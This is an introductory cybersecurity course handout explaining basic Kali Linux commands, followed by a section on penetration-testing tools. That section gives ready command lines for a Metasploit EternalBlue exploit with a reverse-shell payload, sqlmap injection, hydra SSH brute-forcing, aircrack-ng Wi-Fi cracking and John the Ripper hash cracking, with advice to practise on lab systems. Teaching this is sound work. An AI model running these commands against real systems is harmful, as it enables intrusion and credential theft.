Introduction To Cyber Security & Lab Tools
Kali Linux Commands: Explanations and Examples
1. Basic Navigation Commands
• pwd — Print Working Directory
Explanation: Displays the current directory you are in. Example:
pwd
/home/kali
• ls — List directory contents
Explanation: Lists all files and folders in the current directory. Example:
ls
Desktop Documents Downloads
• cd — Change directory
Explanation: Used to navigate between directories. Example:
cd /etc
• clear — Clear the terminal screen
• mkdir — Make directory
Explanation: Creates a new folder. Example:
mkdir testfolder
• rmdir — Remove directory (empty only)
• rm -r — Remove directory and its contents
Example:
rm -r testfolder
2. File Management
• touch — Create a new file
touch [Link]
• cat — Display contents of a file
cat [Link]
• nano / vim — Terminal-based text editors
nano [Link]
• cp — Copy files or directories
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Introduction To Cyber Security & Lab Tools
cp [Link] /home/kali/Desktop/
• mv — Move or rename a file
mv [Link] file_backup.txt
• rm — Delete a file
rm [Link]
3. User and Permissions
• whoami — Shows current logged-in user
whoami
kali
• sudo — Run command as root/superuser
sudo apt update
• chmod — Change file permissions
chmod 755 [Link]
• chown — Change file ownership
sudo chown user:user [Link]
4. Network Commands
• ifconfig — Show IP and network interfaces
ifconfig
• ip a — Alternative to ifconfig
• ping — Check connectivity to a host
ping [Link]
• netstat — Show active connections and ports
netstat -tulnp
• nmap — Port scanner tool
nmap -sS [Link]
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Introduction To Cyber Security & Lab Tools
5. Process Management
• ps — Display running processes
ps aux
• top / htop — Real-time system process monitor
htop
• kill — Terminate process by PID
kill 1234
• killall — Kill processes by name
killall firefox
6. System Update and Package Management
• apt update — Update package index
• apt upgrade — Upgrade installed packages
• apt install <package> — Install new package
• apt remove <package> — Remove installed package
• apt list — List packages
Example:
sudo apt install nmap
7. Useful Hacking Tools (Kali Specific)
1. msfconsole — Metasploit Framework
Explanation: A powerful penetration testing tool for discovering, exploiting, and validating
vulnerabilities. Example Usage:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [Link]
set PAYLOAD windows/meterpreter/reverse_tcp
run
Tutorial Tip: Practice on vulnerable VMs like Metasploitable2.
2. burpsuite — Web Application Security Testing
Explanation: Intercepts and manipulates web traffic between client and server. Usage:
burpsuite
Tutorial Tip: Use with browser proxy set to [Link]:8080. Try it on DVWA.
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Introduction To Cyber Security & Lab Tools
3. sqlmap — SQL Injection Tool
Explanation: Automates detection and exploitation of SQL injection flaws. Example:
sqlmap -u "[Link] --dbs
Tutorial Tip: Run on test environments only. Use DVWA or bWAPP.
4. hydra — Brute Force Password Cracker
Explanation: Fast login cracker supporting many protocols (SSH, FTP, HTTP). Example:
hydra -l admin -P /usr/share/wordlists/[Link] [Link] ssh
Tutorial Tip: Always use with authorized systems. Try on your own SSH lab.
5. airmon-ng / aircrack-ng — Wireless Attacks
Explanation: Used for packet capturing and cracking Wi-Fi passwords. Example Workflow:
airmon-ng start wlan0
airodump-ng wlan0mon
aircrack-ng -w [Link] [Link]
Tutorial Tip: Use with Wi-Fi adapters supporting monitor mode. Try on test routers.
6. wireshark — Packet Analyzer
Explanation: Captures and analyzes network traffic in real time. Usage:
wireshark
Tutorial Tip: Filter traffic by IP or protocol (e.g., http, dns). Look for password leaks.
7. john — John the Ripper (Password Cracker)
Explanation: Cracks password hashes using brute-force and dictionary attacks. Example:
john --wordlist=/usr/share/wordlists/[Link] passwd_hash.txt
Tutorial Tip: Use with /etc/shadow hashes from test systems.
8. nikto — Web Server Scanner
Explanation: Scans for outdated software, vulnerabilities, and configuration issues on web
servers. Example:
nikto -h [Link]
Tutorial Tip: Run on test Apache/Nginx servers. Combines well with Burp.
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